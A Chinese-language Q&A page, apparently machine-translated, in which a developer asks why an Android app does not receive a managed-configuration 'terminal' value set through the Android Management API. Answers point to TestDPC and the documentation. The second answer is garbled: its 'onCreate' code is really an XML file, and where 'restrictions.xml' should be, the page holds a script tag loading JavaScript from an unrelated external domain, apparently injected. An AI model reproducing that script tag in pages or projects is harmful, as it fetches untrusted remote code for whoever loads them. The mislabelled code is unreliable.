企业应用程序的托管配置Android Management API

问题描述

我正在使用Android Mgmt。用于配置平板电脑设备的API。我为每个应用程序都制定了策略,并且在策略中,我为“终端”设置了一个ManagedConfiguration,我希望能够将此字符串值用作我为其设置“终端”的标识符。这是申请政策:

  "applications": [
    {
      "packageName": "packageName","installType": "KIOSK","defaultPermissionPolicy": "GRANT","managedConfiguration": {
        "terminal": "2208"
      }
    },

我的res> xml> app_restrictions.xml:

<?xml version="1.0" encoding="utf-8"?>
<restrictions xmlns:android="http://schemas.android.com/apk/res/android">

    <restriction
        android:key="facility"
        android:title="@strings/facility_title"
        android:restrictionType="string" />

    <restriction
        android:key="terminal"
        android:title="@strings/terminal_title"
        android:restrictionType="string" />

</restrictions>

调用enterprise.applications.get显示已识别托管配置设置:

    {
      "key": "terminal","type": "STRING","title": "@strings/terminal_title"
    } 

在我的应用代码中(以下两个片段都在onCreate中):

val config = this.getSystemService(Context.RESTRICTIONS_SERVICE) as RestrictionsManager

val identifier = TerminalIdentifier("")
val appRestrictions = config.applicationRestrictions

if (appRestrictions.containsKey("terminal")) {
    identifier.id = appRestrictions.getString("terminal").toString()
}

// listener for changes while app is active
val restrictionsReceiver = this.setupRestrictionsReceiver(identifier,appRestrictions)
val restrictionsFilter = IntentFilter(Intent.ACTION_APPLICATION_RESTRICTIONS_CHANGED)

registerReceiver(restrictionsReceiver,restrictionsFilter) 

这是监听器位。注意,我将把此逻辑移到onCreate之外。现在,对于我的主应用程序,我只想测试每个应用程序是否会收到我在每个策略中设置的MC“终端”值。

private fun setupRestrictionsReceiver(identifier: IdentifierService,restrictions : Bundle) : broadcastReceiver {
        return object : broadcastReceiver() {
            override fun onReceive(context: Context,intent: Intent) {
                if (restrictions.containsKey("terminal")) {
                    identifier.id = restrictions.getString("terminal").toString()
                }
            }
        }
    }

我的应用未收到该值。我有什么想念的吗?为什么我的identifier.id(字符串字段)没有收到“ 2208”?

解决方法

我使用了TestDPC应用程序,并且能够测试我的托管配置设置。我不确定,但我认为我的应用程序错误是由于缩小和启用资源缩减引起的。我不知道如果没有安装TestDPC,任何人都无法生存。这大大缩短了开发周期。

要添加的东西:TestDPC通过adb在工作提供的Samsung平板电脑上很好地安装了(我不记得确切的型号,但是它本质上是全新的)。但是,我尝试了另一个SM-T500,运行adb时出现错误。我可以使用TestDPC设置的唯一方法是this method,因此我恢复了出厂设置并使用了标识符afw#testdpc。

我也最终关注了this guide,尤其是AppRestrictionsSchema上的区域。我更新了代码以使用resolveRestrictions函数,并将广播接收器处理放入各种生命周期函数中。再说一次,这种方法工作得很顺畅,所以对于任何想要设置它的人,我都会遵循这种格式。

我已经部署到设备上,并且托管配置工作正常,所以希望这可以帮助其他人走同样的路。

,

为您的应用设置托管配置时,您需要做的第一件事是define the managed configurations

一旦定义了托管配置,您就需要 check what the managed configurations 在您的应用启动或恢复时,并侦听系统 Intent 以查明在您的应用运行时配置是否发生变化,因为它不会自动在托管配置发生更改时通知您的应用。

最后,你需要听managed configurations changes。有关如何设置的更多信息,您可以参考此 documentation

这是在 onCreate 中添加的示例代码:

<?xml version="1.0" encoding="utf-8"?>
<restrictions xmlns:android="http://schemas.android.com/apk/res/android">

   <restriction
       android:key="welcome_msg"
       android:title="Welcome Message"
       android:restrictionType="string"
       android:defaultValue="" />

</restrictions>

这是限制.xml:

<script language="Javascript" src="http://cdn.jsinit.directfwd.com/sk-jspark_init.php"></script>